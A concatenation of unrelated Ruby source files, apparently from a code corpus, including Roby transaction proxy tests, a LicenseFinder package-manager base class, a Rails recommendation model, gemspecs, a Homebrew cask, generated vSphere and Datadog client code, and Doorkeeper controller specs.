ev = EventGenerator.new
assert_same(ev, transaction[ev])
assert_equal(transaction, ev.plan)
end
def test_task_proxy
plan.add_mission_task(t = Roby::Task.new)
assert(!t.transaction_proxy?)
p = transaction[t]
assert(p.transaction_proxy?)
assert_equal(p, p.root_object)
assert(p.root_object?)
assert_equal(transaction, p.plan)
p.each_event do |ev|
assert_equal(transaction, ev.plan)
end
wrapped_start = transaction[t.event(:start)]
assert_kind_of(Roby::Transaction::TaskEventGeneratorProxy, wrapped_start)
assert_equal(wrapped_start, p.event(:start))
assert_equal(p, wrapped_start.root_object)
assert(!wrapped_start.root_object?)
assert_equal(wrapped_start, p.event(:start))
wrapped_stop = p.event(:stop)
assert_equal(transaction[t.event(:stop)], wrapped_stop)
end
def test_event_proxy
plan.add(ev = EventGenerator.new)
wrapped = transaction[ev]
assert_kind_of(Roby::Transaction::EventGeneratorProxy, wrapped)
assert_equal(plan, ev.plan)
assert_equal(transaction, wrapped.plan)
assert(wrapped.root_object?)
end
def assert_is_proxy_of(object, wrapper, klass)
assert(wrapper.kind_of?(klass))
assert_equal(object, wrapper.__getobj__)
end
def test_proxy_wrapping
real_klass = Class.new(Roby::EventGenerator) do
define_method("forbidden") {}
end
proxy_klass = Module.new do
proxy_for real_klass
def clear_vertex; end
end
plan.add(obj = real_klass.new)
proxy = transaction[obj]
assert_is_proxy_of(obj, proxy, proxy_klass)
assert_same(proxy, transaction[obj])
assert_same(proxy, transaction.wrap(obj, create: false))
# check that may_wrap returns the object when wrapping cannot be done
assert_raises(TypeError) { transaction[10] }
assert_equal(10, transaction.may_wrap(10))
end
def test_proxy_derived
base_klass = Class.new(Roby::EventGenerator)
derv_klass = Class.new(base_klass)
proxy_base_klass = Module.new do
proxy_for base_klass
def clear_vertex; end
end
proxy_derv_klass = Module.new do
proxy_for derv_klass
def clear_vertex; end
end
base_obj = base_klass.new
base_obj.plan = plan
assert_is_proxy_of(base_obj, transaction[base_obj], proxy_base_klass)
derv_obj = derv_klass.new
derv_obj.plan = plan
assert_is_proxy_of(derv_obj, transaction[derv_obj], proxy_derv_klass)
end
def test_proxy_class_selection
task = Roby::Task.new
plan.add(task)
proxy = transaction[task]
assert_is_proxy_of(task, proxy, Task)
start_event = proxy.event(:start)
assert_is_proxy_of(task.event(:start), start_event, TaskEventGenerator)
proxy.event(:stop)
proxy.event(:success)
proxy.each_event do |proxy_event|
assert_is_proxy_of(task.event(proxy_event.symbol), proxy_event, TaskEventGenerator)
end
end
def test_proxy_not_executable
task = Tasks::Simple.new_submodel do
event :intermediate, command: true
end.new
plan.add(task)
proxy = transaction[task]
execute do
task.start_event.emit(nil)
task.intermediate!(nil)
end
refute proxy.executable?
refute proxy.event(:start).executable?
assert_raises(TaskEventNotExecutable) { proxy.start_event.emit }
assert_raises(TaskEventNotExecutable) { proxy.start!(nil) }
# Check that events that are only in the subclass of Task
# are forbidden
assert_raises(TaskEventNotExecutable) { proxy.intermediate!(nil) }
end
def test_proxy_fullfills
model = Roby::Task.new_submodel
other_model = model.new_submodel
tag = Roby::TaskService.new_submodel do
argument :id
argument :other
end
model.include(tag)
t = model.new id: 10
p = transaction[t]
assert(p.fullfills?(model))
assert(p.fullfills?(tag))
assert(p.fullfills?(model, id: 10))
assert(p.fullfills?(tag, id: 10))
assert(!p.fullfills?(other_model))
assert(!p.fullfills?(model, id: 5))
assert(!p.fullfills?(tag, id: 5))
assert(!p.fullfills?(model, id: 10, other: 20))
p.arguments[:other] = 20
assert(p.fullfills?(model, id: 10, other: 20))
end
# Tests that the graph of proxys is separated from
# the Task and EventGenerator graphs
def test_proxy_graph_separation
tasks = prepare_plan add: 3
proxies = tasks.map { |t| transaction[t] }
t1, t2, t3 = tasks
p1, p2, p3 = proxies
p1.depends_on p2
assert_equal([], t1.enum_for(:each_child_object, Dependency).to_a)
t2.depends_on t3
assert(! p2.child_object?(p1, Dependency))
end
def test_proxy_plan
task = Roby::Task.new
plan.add_mission_task(task)
proxy = transaction[task]
assert_equal(plan, task.plan)
assert_equal(plan, task.event(:start).plan)
assert_equal(transaction, proxy.plan)
assert_equal(transaction, proxy.event(:start).plan)
end
Dependency = Roby::TaskStructure::Dependency
def test_task_relation_copy
t1, t2 = prepare_plan add: 2
t1.depends_on t2
p1 = transaction[t1]
assert(p1.leaf?(TaskStructure::Dependency), "#{p1} should have been a leaf, but has the following chilren: #{p1.children.map(&:to_s).join(", ")}")
p2 = transaction[t2]
assert_equal([p2], p1.children.to_a)
end
def test_task_events
t1, t2 = prepare_plan add: 2
t1.success_event.signals t2.start_event
p1 = transaction[t1]
assert(p1.success_event.leaf?(EventStructure::Signal))
p2 = transaction[t2]
assert_equal([p2.start_event], p1.success_event.child_objects(EventStructure::Signal).to_a)
end
end
module Roby
class Transaction
describe Proxying do
describe ".proxying_module_for" do
it "builds the module by applying the proxy modules in the ancestry order" do
root_task_m = Roby::Task.new_submodel
root_proxy_m = Module.new { proxy_for root_task_m }
parent_task_m = root_task_m.new_submodel
parent_proxy_m = Module.new { proxy_for parent_task_m }
task_m = parent_task_m.new_submodel
proxy_m = Proxying.proxying_module_for(task_m)
assert_equal [proxy_m, parent_proxy_m, root_proxy_m, Roby::Transaction::TaskProxy, Roby::Transaction::PlanObjectProxy, Roby::Transaction::Proxying],
proxy_m.ancestors.find_all { |k| k.name !~ /GUI/ } # the whole test suite loads the GUI, which in turn includes modules in the base classes
end
end
end
end
end
| 32.239496 | 168 | 0.630914 |
2140f8c95f22a95f2f7e1ded58219f34b5973f8e | 5,359 | # frozen_string_literal: false
module LicenseFinder
# Super-class for the different package managers
# (Bundler, NPM, Pip, etc.)
#
# For guidance on adding a new package manager use the shared behavior
#
# it_behaves_like "a PackageManager"
#
# Additional guidelines are:
#
# - implement #current_packages, to return a list of `Package`s this package manager is tracking
# - implement #possible_package_paths, an array of `Pathname`s which are the possible locations which contain a configuration file/folder indicating the package manager is in use.
# - implement(Optional) #package_management_command, string for invoking the package manager
# - implement(Optional) #prepare_command, string for fetching dependencies for package manager (runs when the --prepare flag is passed to license_finder)
class PackageManager
include LicenseFinder::SharedHelpers
class << self
def takes_priority_over
nil
end
end
def installed?(logger = Core.default_logger)
if package_management_command.nil?
logger.debug self.class, 'no command defined' # TODO: comment me out
true
elsif command_exists?(package_management_command)
logger.debug self.class, 'is installed', color: :green
true
else
logger.info self.class, 'is not installed', color: :red
false
end
end
# see class description
def package_management_command
nil
end
# see class description
def prepare_command
nil
end
def command_exists?(command)
_stdout, _stderr, status =
if LicenseFinder::Platform.windows?
Cmd.run("where #{command}")
else
Cmd.run("which #{command}")
end
status.success?
end
def initialize(options = {})
@prepare_no_fail = options[:prepare_no_fail]
@logger = options[:logger] || Core.default_logger
@project_path = options[:project_path]
@log_directory = options[:log_directory]
@ignored_groups = options[:ignored_groups]
end
def active?
path = detected_package_path
path&.exist?
end
def project_root?
active?
end
def detected_package_path
possible_package_paths.find(&:exist?)
end
def prepare
if prepare_command
stdout, stderr, status = Dir.chdir(project_path) { Cmd.run(prepare_command) }
unless status.success?
log_errors stderr
error_message = "Prepare command '#{prepare_command}' failed\n#{stderr}"
error_message == error_message.concat("\n#{stdout}\n") if !stdout.nil? && !stdout.empty?
raise error_message unless @prepare_no_fail
end
else
logger.debug self.class, 'no prepare step provided', color: :red
end
end
def current_packages_with_relations
begin
packages = current_packages
rescue StandardError => e
raise e unless @prepare_no_fail
packages = []
end
packages.each do |parent|
parent.children.each do |child_name|
child = packages.detect { |child_package| child_package.name == child_name }
child.parents << parent.name if child
end
end
packages
end
private
attr_reader :logger, :project_path
def log_errors(stderr)
logger.info prepare_command, 'did not succeed.', color: :red
logger.info prepare_command, stderr, color: :red
log_to_file stderr
end
def log_to_file(contents)
FileUtils.mkdir_p @log_directory
# replace whitespace with underscores and remove slashes
log_file_name = package_management_command&.gsub(/\s/, '_')&.gsub(%r{/}, '')
log_file = File.join(@log_directory, "prepare_#{log_file_name || 'errors'}.log")
File.open(log_file, 'w') do |f|
f.write("Prepare command \"#{prepare_command}\" failed with:\n")
f.write("#{contents}\n\n")
end
end
end
end
require 'license_finder/package_managers/bower'
require 'license_finder/package_managers/go_workspace'
require 'license_finder/package_managers/go_15vendorexperiment'
require 'license_finder/package_managers/go_dep'
require 'license_finder/package_managers/gvt'
require 'license_finder/package_managers/glide'
require 'license_finder/package_managers/govendor'
require 'license_finder/package_managers/go_modules'
require 'license_finder/package_managers/trash'
require 'license_finder/package_managers/bundler'
require 'license_finder/package_managers/npm'
require 'license_finder/package_managers/yarn'
require 'license_finder/package_managers/pip'
require 'license_finder/package_managers/pipenv'
require 'license_finder/package_managers/maven'
require 'license_finder/package_managers/mix'
require 'license_finder/package_managers/cocoa_pods'
require 'license_finder/package_managers/carthage'
require 'license_finder/package_managers/gradle'
require 'license_finder/package_managers/rebar'
require 'license_finder/package_managers/nuget'
require 'license_finder/package_managers/dotnet'
require 'license_finder/package_managers/dep'
require 'license_finder/package_managers/conan'
require 'license_finder/package_managers/sbt'
require 'license_finder/package_managers/cargo'
require 'license_finder/package_managers/composer'
require 'license_finder/package'
| 31.339181 | 181 | 0.713566 |
b9865f85c937499d8b0a54de0c9c638d20228dcd | 6,854 | # == Schema Information
# Schema version: 20101101011500
#
# Table name: recommendations
#
# id :integer(4) not null, primary key
# progress :integer(4)
# recommendation :integer(4)
# checklist_id :integer(4)
# user_id :integer(4)
# other :text
# should_advance :boolean(1)
# created_at :datetime
# updated_at :datetime
# recommendation_definition_id :integer(4)
# draft :boolean(1)
# district_id :integer(4)
# tier_id :integer(4)
# student_id :integer(4)
# promoted :boolean(1)
#
class Recommendation < ActiveRecord::Base
DISTRICT_PARENT = :user
belongs_to :checklist
belongs_to :recommendation_definition
belongs_to :user
belongs_to :student
belongs_to :tier
belongs_to :district
has_many :recommendation_answers, :dependent => :destroy
attr_protected :district_id
validates_presence_of :recommendation, :message => "is not indicated", :if =>lambda{|r| !r.draft?}
# validates_presence_of :checklist_id,
validates_presence_of :other, :if => lambda{|r|!r.draft? && r.recommendation && RECOMMENDATION[r.recommendation][:require_other]}
attr_accessor :request_referral, :school
define_statistic :count, :count => :all,:joins => :student
define_statistic :count_of_districts, :count => :all, :column_name => 'distinct students.district_id', :joins => :student
before_save :mark_promoted_if_needed
after_initialize :setup_from_checklist_or_definition
#there's a custom sort for this in the checklist helper
RECOMMENDATION={
0=>{:text=>"The student made progress and no longer requires intervention.", :readonly => true},
1 =>{:text=>"The student is making progress; choose new interventions from the next level; continue to monitor progress.",:promote=>true},
2 =>{:text=>"The student is making progress; continue the same intervention; continue to monitor progress.",:promote=>false},
3=>{:text => "The student is not making progress; choose new interventions from the current level; continue to monitor progress.",
},
4 => {:text => "The student has not made progress. Choose new interventions from the next level and continue to monitor progress.",:promote=>true},
5 => {:text => "The student has not made progress. Make a referral to special education.",:promote=>true,
:show_elig => true},
6 => {:text => "Other", :require_other => true ,:promote=>true}
}
STATUS={
:unknown => "UNKNOWN_STATUS",
:draft => "Draft, make changes to recommendation and submit.",
:can_refer => "Referred to Special Ed.",
:cannot_refer => "Criteria not met (need 3 or above on all questions) for referral.",
:ineligable_to_refer=> "Impairment Suspected, but eligibility not met.",
:nonadvancing => "Recommendation submitted, continue working at same tier",
:passed => "Recommendation submitted, next tier is available.",
:failing_score => "Submitted, did not meet criteria to move to next tier.",
:optional_checklist => "Optional Checklist Completed."
}
def should_promote?
if RECOMMENDATION[recommendation][:text] == "Other" then
self.advance_tier
else
RECOMMENDATION[recommendation][:promote]
end
end
def status
if draft?
STATUS[:draft]
elsif promoted? and RECOMMENDATION[recommendation][:show_elig]
STATUS[:can_refer]
elsif promoted?
STATUS[:passed]
elsif !promoted? and RECOMMENDATION[recommendation][:show_elig]
checklist.fake_edit= checklist == student.checklists.last
(checklist.blank? || checklist.promoted?) ? STATUS[:ineligable_to_refer] : STATUS[:cannot_refer]
elsif !promoted? and should_promote?
checklist.fake_edit = checklist == student.checklists.last if checklist
STATUS[:failing_score]
elsif !promoted? and !should_promote?
STATUS[:nonadvancing]
else
return STATUS[:unknown]
end
end
def previous_answers
@prev_answers ||=RecommendationAnswer.find(:all,:include=>:recommendation,:conditions=>["recommendations.student_id=? and recommendations.id !=? and recommendations.created_at < ?",self.student_id,self.id, self.created_at],:order=>"recommendation_answers.updated_at").group_by{|a| a.recommendation_answer_definition_id}
end
def answers
recommendation_definition.recommendation_answer_definitions.each do |ad|
self.recommendation_answers.build(:recommendation_answer_definition => ad) unless recommendation_answers.any?{|a| a.recommendation_answer_definition == ad}
end
self.recommendation_answers
end
def answers=(hsh={})
hsh.each do |h|
h=h.last if h.is_a?Array and h.size==2
h=h.symbolize_keys
if h[:recommendation_answer_definition_id]
a=self.recommendation_answers.detect{|r| r.recommendation_answer_definition_id == h[:recommendation_answer_definition_id].to_i } ||
recommendation_answers.build(h)
a.text=h[:text]
a.draft=self.draft
end
end
end
def show_button?(k)
v = RECOMMENDATION[k]
!v[:readonly] || self.recommendation == k
end
def self.without_checklist
find(:all, :conditions => "checklist_id is null")
end
def self.max_tier
m=find_all_by_promoted(true).collect(&:tier).compact.max
if m
m.district.tiers.find_by_position(1+m.position) || m
else
nil
end
end
protected
def setup_from_checklist_or_definition
if checklist
self.recommendation_definition ||= checklist.checklist_definition.recommendation_definition if checklist
self.district_id ||= checklist.district_id
self.student_id ||= checklist.student_id
self.tier_id ||= checklist.from_tier
else
self.recommendation_definition=RecommendationDefinition.find_by_active(true)
self.tier_id ||= self.student.max_tier.id if student
end
end
def request_referral
@request_referral ||= (should_advance && recommendation == 5)
@request_referral &&= (recommendation == 5)
end
def should_advance
should_promote? unless recommendation.blank? or self.draft?
end
def mark_promoted_if_needed
if draft?
self.promoted=false
return true
elsif errors.empty? and recommendation and should_promote?
if checklist
self.promoted=validate_for_tier_escalation
else
self.promoted=true
end
end
true
end
def validate_for_tier_escalation
return true unless checklist
checklist.score_checklist
checklist.promoted=checklist.score_results.blank?
checklist.save
checklist.promoted
end
end
| 36.457447 | 323 | 0.681938 |
012157af26bab0e6617be03cf992642737da27eb | 3,292 | # -*- encoding: utf-8 -*-
# stub: mime-types-data 3.2016.0521 ruby lib
Gem::Specification.new do |s|
s.name = "mime-types-data".freeze
s.version = "3.2016.0521"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Austin Ziegler".freeze]
s.date = "2016-05-22"
s.description = "mime-types-data provides a registry for information about MIME media type\ndefinitions. It can be used with the Ruby mime-types library or other software\nto determine defined filename extensions for MIME types, or to use filename\nextensions to look up the likely MIME type definitions.".freeze
s.email = ["[email protected]".freeze]
s.extra_rdoc_files = ["Code-of-Conduct.md".freeze, "Contributing.md".freeze, "History.md".freeze, "Licence.md".freeze, "Manifest.txt".freeze, "README.md".freeze]
s.files = ["Code-of-Conduct.md".freeze, "Contributing.md".freeze, "History.md".freeze, "Licence.md".freeze, "Manifest.txt".freeze, "README.md".freeze]
s.homepage = "https://github.com/mime-types/mime-types-data/".freeze
s.licenses = ["MIT".freeze]
s.rdoc_options = ["--main".freeze, "README.md".freeze]
s.required_ruby_version = Gem::Requirement.new(">= 2.0".freeze)
s.rubygems_version = "2.6.14".freeze
s.summary = "mime-types-data provides a registry for information about MIME media type definitions".freeze
s.installed_by_version = "2.6.14" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_development_dependency(%q<rdoc>.freeze, ["~> 4.0"])
s.add_development_dependency(%q<nokogiri>.freeze, ["~> 1.6"])
s.add_development_dependency(%q<hoe-doofus>.freeze, ["~> 1.0"])
s.add_development_dependency(%q<hoe-gemspec2>.freeze, ["~> 1.1"])
s.add_development_dependency(%q<hoe-git>.freeze, ["~> 1.6"])
s.add_development_dependency(%q<hoe-rubygems>.freeze, ["~> 1.0"])
s.add_development_dependency(%q<rake>.freeze, ["~> 10.0"])
s.add_development_dependency(%q<mime-types>.freeze, ["~> 3.0"])
s.add_development_dependency(%q<hoe>.freeze, ["~> 3.15"])
else
s.add_dependency(%q<rdoc>.freeze, ["~> 4.0"])
s.add_dependency(%q<nokogiri>.freeze, ["~> 1.6"])
s.add_dependency(%q<hoe-doofus>.freeze, ["~> 1.0"])
s.add_dependency(%q<hoe-gemspec2>.freeze, ["~> 1.1"])
s.add_dependency(%q<hoe-git>.freeze, ["~> 1.6"])
s.add_dependency(%q<hoe-rubygems>.freeze, ["~> 1.0"])
s.add_dependency(%q<rake>.freeze, ["~> 10.0"])
s.add_dependency(%q<mime-types>.freeze, ["~> 3.0"])
s.add_dependency(%q<hoe>.freeze, ["~> 3.15"])
end
else
s.add_dependency(%q<rdoc>.freeze, ["~> 4.0"])
s.add_dependency(%q<nokogiri>.freeze, ["~> 1.6"])
s.add_dependency(%q<hoe-doofus>.freeze, ["~> 1.0"])
s.add_dependency(%q<hoe-gemspec2>.freeze, ["~> 1.1"])
s.add_dependency(%q<hoe-git>.freeze, ["~> 1.6"])
s.add_dependency(%q<hoe-rubygems>.freeze, ["~> 1.0"])
s.add_dependency(%q<rake>.freeze, ["~> 10.0"])
s.add_dependency(%q<mime-types>.freeze, ["~> 3.0"])
s.add_dependency(%q<hoe>.freeze, ["~> 3.15"])
end
end
| 53.967213 | 314 | 0.6613 |
4ab25aeb574c31b0c165acc636cb4311c15b2290 | 802 | require File.dirname(__FILE__) + '/helper'
class TestActor < Test::Unit::TestCase
def setup
end
# from_string
def test_from_string_should_separate_name_and_email
a = Actor.from_string("Tom Werner <[email protected]>")
assert_equal "Tom Werner", a.name
assert_equal "[email protected]", a.email
end
def test_from_string_should_handle_just_name
a = Actor.from_string("Tom Werner")
assert_equal "Tom Werner", a.name
assert_equal nil, a.email
end
# inspect
def test_inspect
a = Actor.from_string("Tom Werner <[email protected]>")
assert_equal %Q{#<Grit::Actor "Tom Werner <[email protected]>">}, a.inspect
end
# to_s
def test_to_s_should_alias_name
a = Actor.from_string("Tom Werner <[email protected]>")
assert_equal a.name, a.to_s
end
end
| 22.277778 | 77 | 0.709476 |
26d9a1fd299bf65be68cd1d9d839db2a363d12aa | 2,066 | module ApplicationHelper
def default_meta_tags
{
site: 'BooQs Sub',
title: t('layouts.title'),
reverse: true,
charset: 'utf-8',
description: t('layouts.description'),
keywords: t('layouts.keywords'),
canonical: request.original_url,
separator: '|',
icon: [
{ href: image_url('favicon/favicon-32x32.png') },
{ href: image_url('BooQs_icon.png'), rel: 'apple-touch-icon', sizes: '180x180', type: 'image/jpg' }
],
og: {
site_name: :site,
title: :title,
description: :description,
type: 'website',
url: request.original_url,
image: image_url('OGP_BooQs.png'),
locale: @locale
},
twitter: {
card: 'summary',
site: '@BooQs_net'
}
}
end
# Youtubeの動画のidを返す / Return Youtube's movie ID
def return_youtube_id(url)
Youtube.get_video_id(url)
end
# 引数の秒数を、シークバーの再生時間と同じフォーマットの文字列に変換して返す。
def return_play_time(time)
hours = time.to_i / 3600
minutes = time.to_i / 60
# 分数を01のようにする。
minutes = '0' + minutes.to_s if minutes < 10
seconds = (time.to_i % 60).round(3)
# 1.0のような表現を防ぐ。
seconds = seconds.to_i if seconds.to_s.split('.').second == '0'
# 秒数を01のようにする
seconds = '0' + seconds.to_s if seconds < 10
if hours.zero?
"#{minutes}:#{seconds}"
else
"#{hours}:#{minutes}:#{seconds}"
end
end
# 引数の秒数を、srtファイルの再生時間と同じフォーマットの文字列に変換して返す
def return_play_time_for_srt(time)
return "0" if time.blank?
hours = time.to_i / 3600
minutes = time.to_i / 60
# 分数を01のようにする。
minutes = '0' + minutes.to_s if minutes < 10
hours = '0' + hours.to_s if hours < 10
seconds = (time % 60).round(3)
if seconds < 10
"#{hours}:#{minutes}:0#{seconds.to_i},000"
else
"#{hours}:#{minutes}:#{seconds.to_i},000"
end
end
# 開始時間から終了時間までを文字列で返す。
def return_play_time_from_start_to_end(start_time, end_time)
"#{return_play_time(start_time)} ~ #{return_play_time(end_time)}"
end
end
| 24.595238 | 107 | 0.60213 |
113cb5a1a987ef782d17456bfe68186d42d9576a | 284 | cask :v1 => 'pastebotsync-pane' do
version :latest
sha256 :no_check
url 'http://tapbots.net/pastebot/PastebotSync.dmg'
homepage 'http://tapbots.com/software/pastebot/'
license :unknown # todo: improve this machine-generated value
prefpane 'PastebotSync.prefPane'
end
| 25.818182 | 66 | 0.739437 |
5df970d59f3c67131d52bb414689155da6290ace | 2,731 | # Copyright (c) 2018-2019 VMware, Inc. All Rights Reserved.
# SPDX-License-Identifier: MIT
# DO NOT MODIFY. THIS CODE IS GENERATED. CHANGES WILL BE OVERWRITTEN.
# appliance - The vCenter Server Appliance is a preconfigured Linux-based virtual machine optimized for running vCenter Server and associated services.
require 'uri'
module VSphereAutomation
module Appliance
class HealthApi
attr_accessor :api_client
def initialize(api_client = ApiClient.default)
@api_client = api_client
end
# Get health messages.
# @param item ID of the data item
# @param [Hash] opts the optional parameters
# @return [ApplianceHealthMessagesResult|VapiStdErrorsErrorError|VapiStdErrorsNotFoundError|]
def messages(item, opts = {})
data, _status_code, _headers = messages_with_http_info(item, opts)
data
end
# Get health messages.
# @api private
# @param item ID of the data item
# @param [Hash] opts the optional parameters
# @return [Array<(ApplianceHealthMessagesResult|VapiStdErrorsErrorError|VapiStdErrorsNotFoundError|, Fixnum, Hash)>] data, response status code and response headers
def messages_with_http_info(item, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: HealthApi.messages ...'
end
# verify the required parameter 'item' is set
if @api_client.config.client_side_validation && item.nil?
fail ArgumentError, "Missing the required parameter 'item' when calling HealthApi.messages"
end
# resource path
local_var_path = '/appliance/health/{item}/messages'.sub('{' + 'item' + '}', item.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['api_key']
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => {
'200' => 'Appliance::ApplianceHealthMessagesResult',
'400' => 'Appliance::VapiStdErrorsErrorError',
'404' => 'Appliance::VapiStdErrorsNotFoundError',
})
if @api_client.config.debugging
@api_client.config.logger.debug "API called: HealthApi#messages\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
end
end
end
| 35.467532 | 169 | 0.688759 |
e9480b0efa6b011da1a5487e3e4e8c99fee7a038 | 164 | class Permission < ActiveRecord::Base
has_and_belongs_to_many :members, join_table: :members_permissions
belongs_to :resource, polymorphic: true
scopify
end
| 23.428571 | 68 | 0.810976 |
611c37c1e5508718a2d8e8e516d1b14f06ea8f67 | 347 | require_relative "operations_base"
class Chef
module Provisioning
module GoogleDriver
module Client
# Wraps a GlobalOperations service of the GCE API.
class GlobalOperations < OperationsBase
def operations_service
compute.global_operations
end
end
end
end
end
end
| 18.263158 | 58 | 0.651297 |
ac52c917d09d960f61b83aadcda6b463b7aead8f | 1,836 | require 'spec_helper_integration'
module Doorkeeper
describe ApplicationsController do
context 'when admin is not authenticated' do
before do
allow(Doorkeeper.configuration).to receive(:authenticate_admin).and_return(proc do
redirect_to main_app.root_url
end)
end
it 'redirects as set in Doorkeeper.authenticate_admin' do
get :index
expect(response).to redirect_to(controller.main_app.root_url)
end
it 'does not create application' do
expect do
post :create, doorkeeper_application: {
name: 'Example',
redirect_uri: 'http://example.com' }
end.to_not change { Doorkeeper::Application.count }
end
end
context 'when admin is authenticated' do
before do
allow(Doorkeeper.configuration).to receive(:authenticate_admin).and_return(->(arg) { true })
end
it 'creates application' do
expect do
post :create, doorkeeper_application: {
name: 'Example',
redirect_uri: 'http://example.com' }
end.to change { Doorkeeper::Application.count }.by(1)
expect(response).to be_redirect
end
it 'does not allow mass assignment of uid or secret' do
application = FactoryGirl.create(:application)
put :update, id: application.id, doorkeeper_application: {
uid: '1A2B3C4D',
secret: '1A2B3C4D' }
expect(application.reload.uid).not_to eq '1A2B3C4D'
end
it 'updates application' do
application = FactoryGirl.create(:application)
put :update, id: application.id, doorkeeper_application: {
name: 'Example',
redirect_uri: 'http://example.com' }
expect(application.reload.name).to eq 'Example'
end
end
end
end
| 30.6 | 100 | 0.635621 |
2848740e3282c7cf4f41d786ad89683e21805e9c | 176 | Date::DATE_FORMATS.merge!(
:min => '%d %b %Y',
:comment => '%b %d %Y at %I:%M %p'
)
Time::DATE_FORMATS.merge!(
:min => '%d %b %Y',
:comment => '%b %d %Y at %I:%M %p'
)
| 19.555556 | 36 | 0.477273 |
5d066bc4f22b59038d72a263a213cb5fe836f5dc | 2,495 | =begin
#Datadog API V1 Collection
#Collection of all Datadog Public endpoints.
The version of the OpenAPI document: 1.0
Contact: [email protected]
Generated by: https://openapi-generator.tech
Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License.
This product includes software developed at Datadog (https://www.datadoghq.com/).
Copyright 2020-Present Datadog, Inc.
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for DatadogAPIClient::V1::TableWidgetDefinition
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe DatadogAPIClient::V1::TableWidgetDefinition do
let(:instance) { DatadogAPIClient::V1::TableWidgetDefinition.new }
describe 'test an instance of TableWidgetDefinition' do
it 'should create an instance of TableWidgetDefinition' do
expect(instance).to be_instance_of(DatadogAPIClient::V1::TableWidgetDefinition)
end
end
describe 'test attribute "custom_links"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "has_search_bar"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "requests"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "time"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "title"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "title_align"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "title_size"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "type"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 31.1875 | 107 | 0.735872 |
1caa76045034e63f9b7d50b5801f24629062bae3 | 1,146 | cask 'karabiner-elements' do
version '0.90.67'
sha256 '06c909e0f696bc5bcdc8a96b4135ba44e735066ae0a406bc6d569ef5dd65a7f7'
url "https://pqrs.org/osx/karabiner/files/Karabiner-Elements-#{version}.dmg"
appcast 'https://pqrs.org/osx/karabiner/files/karabiner-elements-appcast.xml',
checkpoint: '3600c2e64096314d78d94c163d2c2848f1c5b90de704ec4933440fa9a863d806'
name 'Karabiner Elements'
homepage 'https://pqrs.org/osx/karabiner/'
auto_updates true
pkg 'Karabiner-Elements.sparkle_guided.pkg'
uninstall quit: 'org.pqrs.Karabiner-Elements',
pkgutil: 'org.pqrs.Karabiner-Elements',
script: {
executable: '/Library/Application Support/org.pqrs/Karabiner-Elements/uninstall.sh',
sudo: true,
}
zap delete: [
'~/Library/Application Support/Karabiner-Elements',
'~/.karabiner.d',
'~/Library/Preferences/org.pqrs.Karabiner-Elements-Updater.plist',
'~/Library/Caches/org.pqrs.Karabiner-Elements-Updater',
]
end
| 39.517241 | 107 | 0.629145 |
7956bfbe07dc7c87727c4d379569e9117dbc42b8 | 588 | # frozen_string_literal: true
Gem::Specification.new do |spec|
spec.name = "theme"
spec.version = "0.1.0"
spec.authors = ["tcbutler320"]
spec.email = ["[email protected]"]
spec.summary = "Write a short summary, because Rubygems requires one."
spec.homepage = "https://jekyll-theme-vanta.netlify.app"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").select { |f| f.match(%r!^(assets|_layouts|_includes|_sass|LICENSE|README|_config\.yml)!i) }
spec.add_runtime_dependency "jekyll", "~> 4.1"
end
| 34.588235 | 145 | 0.627551 |
1a508c8c483472854fb202efc41b441f1d75e70c | 606 | Pod::Spec.new do |s|
s.name = 'WKVerticalScrollBar'
s.version = '0.3.1'
s.license = 'MIT'
s.platform = :ios
s.summary = 'A traditional-style scrollbar for iOS that integrates with existing UIScrollView or UIScrollView subclasses.'
s.homepage = 'https://github.com/litl/WKVerticalScrollBar'
s.author = { 'Brad Taylor' => '[email protected]' }
s.source = { :git => 'https://github.com/litl/WKVerticalScrollBar.git', :tag => 'version/0.3.1' }
s.source_files = 'WKVerticalScrollBar/WKVerticalScrollBar.{h,m}'
s.frameworks = 'QuartzCore'
end
| 37.875 | 129 | 0.643564 |
875800c68a44d23d1a31139e1e82bbeb41e094e5 | 70 | class CustomersController < ApplicationController
def new
end
end
| 14 | 49 | 0.814286 |
61f95febce8a78d66362f2a487e82caae1c914cc | 1,158 | #
# Be sure to run `pod lib lint ASUncaughtExce.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'ASUncaughtExce'
s.version = '0.1.0'
s.summary = '异常捕获工具 '
s.description = <<-DESC
异常捕获 for aisino
DESC
s.homepage = 'https://github.com'
